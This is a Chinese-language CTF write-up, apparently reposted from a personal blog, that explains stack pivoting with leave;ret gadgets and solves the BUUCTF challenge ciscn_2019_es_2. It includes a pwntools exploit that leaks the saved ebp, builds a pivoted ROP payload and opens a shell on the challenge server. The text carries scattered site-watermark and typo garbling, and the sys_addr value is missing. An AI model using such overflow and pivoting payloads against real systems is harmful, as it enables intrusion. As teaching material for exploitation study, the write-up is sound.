什么是栈迁移?
简单一句话就是控制esp指针的指向。
Leave等价于: movl %ebp %esp # esp = ebp popl %ebp # pbp = oldebp
讯享网
其实就是在做栈恢复上一次栈空间的操作。但这过程中能恢复到上次的栈的关键数据为当前ebp指向地址上值(oldebp),当我们通过溢出覆盖原本的oldebp值时,然后将leave ; ret 程序段地址放在返回地址上,那么就可以实现将esp迁移至我们想要的地方(取决于oldebp上的覆盖的地址,注意这里会抬高4字节,64位抬8字节)。
讯享网第一次leave movl %ebp %esp------------1 popl %ebp-----------------2--3 第一次ret:因为esp还是指向leave ; ret 地址,所有再一次执行leave ; ret 第二次leave movl %ebp %esp------------4 popl %ebp-----------------5--6 第二次ret:将此时esp指向的地址上的数据作为ret目标地址,即可是system地址,后面可以作为system的参数。
例题
BUUCTF-PWN-ciscn_2019_es_2
checksec

32位开启堆栈不可执行
ida打开反汇编:

无法直接利用只是输出flag字符,但我们可以直接用可以得到system()函数地址。

s读入0x30字节数据,但s从ebp-0x28开始,存在溢出但只能溢出8字节,刚好覆盖到返回地址。
无法直接打入我们的POP链,此时用栈迁移,但栈迁移需要知道一个可控变脸的地址,s可控,但地址不知。
这里看到下面的printf()函数,printf函数在输出时识别‘0’时截断,但当我们输入0x28个'a'字符时已经将s填满,无法在后米娜自动添‘o’,所有在输出时会连带oldebp输出,通过oldebp以推算出s的地址(结合本地调试)。从而实现栈迁移。
在看程序,有两次输入,第一次用海泄露oldebp,第二次用来写入带栈迁移的pop链。

泄露oldebp地址:
payload1 = b'a'*0x27 p.sendlineafter('name?\n',payload1) p.recvuntil('\n') ebp=u32(p.recv(4))
payload1 = b'a'*0x27,这里为什么时0x27,因为在p.sendline()时会在后面加‘\n’,如果这里位0x28就会溢出波坏oldebp,
计算oldebp和s的相对地址



程序会进行栈迁移,执行两次leave_ret后程序执行system("/bin/sh),获得shell。
完成exp:
讯享网from pwn import * context.log_level='debug' p=remote('node4.buuoj.cn',25994) #p=process('./ciscn_2019_es_2') elf=ELF('ciscn_2019_es_2') sys_addr=0x leave_ret=0x080484b8 payload1 = b'a'*0x27 p.sendlineafter('name?\n',payload1) p.recvuntil('\n') oldebp = u32(p.recv(4)) payload2 = b'a'*4+p32(sys_addr)+p32(0)+p32(oldebp-0x28)+b'/bin/sh' payload2 = payload2.ljust(0x28,b'\0') payload2+=p32(oldebp-0x38)+p32(leave_ret) p.sendlineafter('\n',payload2) p.interactive()
原创:PWN——栈迁移 - 松下之约 (lusong.store)

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/129911.html